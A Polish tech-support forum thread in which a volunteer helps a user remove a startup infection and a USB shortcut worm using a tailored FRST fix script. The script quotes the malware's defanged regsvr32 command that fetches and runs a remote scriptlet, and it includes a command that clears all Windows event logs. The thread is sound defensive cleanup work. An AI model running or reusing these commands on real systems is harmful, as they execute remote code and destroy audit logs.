Infekcja

[sok73]

Witam proszę o przygotowanie skryptu naprawczego. Nie chce sam ingerować ręcznie, żeby czegoś nie pominąć.

FRST.txt

Addition.txt

Edytowane 28 Listopada 2017 przez Miszel03
Poprawiam pisownie i nazwę tematu. //Miszel03

[Miszel03]

Brakuję logu Shortcut, ale dostarczysz mi go w następnym Twoim poście.
 
W raportach widoczna jest infekcja w autostarcie polegająca na uruchomieniu zainfekowanej strony. Widoczna jest również inna infekcja (uruchamiana tak samo jak pierwsza), która przypomina mi infekcję "skrótową". Czy masz problem z nieprawidłowo działającymi pendrive? 
 
1. Masz kolosalnie stary program antywirusowy - zaktualizuj go. Przy okazji możesz odinstalować ESET Online Scanner v3, bo te dwie instalacje dublują się swoimi działaniami.
 
2. Uruchom FRST. Z klawiatury CTRL+Y, zostanie otworzony plik tekstowy. Wklej do pliku następującą treść:
 

CloseProcesses:
CreateRestorePoint:
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\...\Run: [COM+] => regsvr32 /s /n /u /i:hxxp://server2.39slxu3bw.ru/restore.xml scrobj.dll Startup: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u.lnk [2017-10-02]
ShortcutTarget: u.lnk -> C:\Users\User\AppData\Roaming\eeYgAJnQex.exe ()
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u.lnk
C:\Users\User\AppData\Roaming\eeYgAJnQex.exe
FF Plugin: @microsoft.com/GENUINE -> disabled [brak pliku]
ContextMenuHandlers4: [Offline Files] -> {474C98EE-CF3D-41f5-80E3-4AAB0AB04301} =>  -> Brak pliku
ContextMenuHandlers6: [Offline Files] -> {474C98EE-CF3D-41f5-80E3-4AAB0AB04301} =>  -> Brak pliku
CMD: dir /a  C:\Users\User\AppData\Roaming
Powershell: wevtutil el | Foreach-Object {wevtutil cl "$_"}
EmptyTemp:

 

Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach.

 
Z klawiatury CTRL+S, by zapisać zmiany. Następnie w oknie FRST klik w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt
 
3. Ponów całościowy skan za pomocą Malwarebytes AntiMalware. Jeśli coś wykryje to niczego nie usuwaj, a dostarcz raport. 
 
4. Zrób nowy log FRST z opcji Skanuj (Scan) wraz z Addition i Shortcut. Dołącz też plik fixlog.txt.

[sok73]

Malware nic nie znalazl, Na pendrive jest autorun.inf którego nie mogłem usunąć i pliki były ukryte, dostępne pod skrótem do ukrytego folderu.

Pendrive sformatowałem.

FRST.txt

Shortcut.txt

Addition.txt

Fixlog.txt

[Miszel03]

Na pendrive jest autorun.inf którego nie mogłem usunąć i pliki były ukryte, dostępne pod skrótem do ukrytego folderu.

 

Tak, czyli to była ta infekcja - dobrze, że się zgłosiłeś, bo gdybym jej nie usunął to dochodziło by to reinfekcji. 

 

Wszystko pomyślnie wykonane, system posprzątany. Pamiętaj o kroku z antywirusem. 

 

Jak podsumowujesz obecną sytuację?

[sok73]

Myślę, że jest w porządku. Mam nadzieję, że sie nie odnowi. Dzięki

[Miszel03]

W takim razie kończymy.

 

Zastosuj DelFix (kasacja używanych narzędzi) oraz zaktualizuj oprogramowanie zewnętrzne jak i system Windows.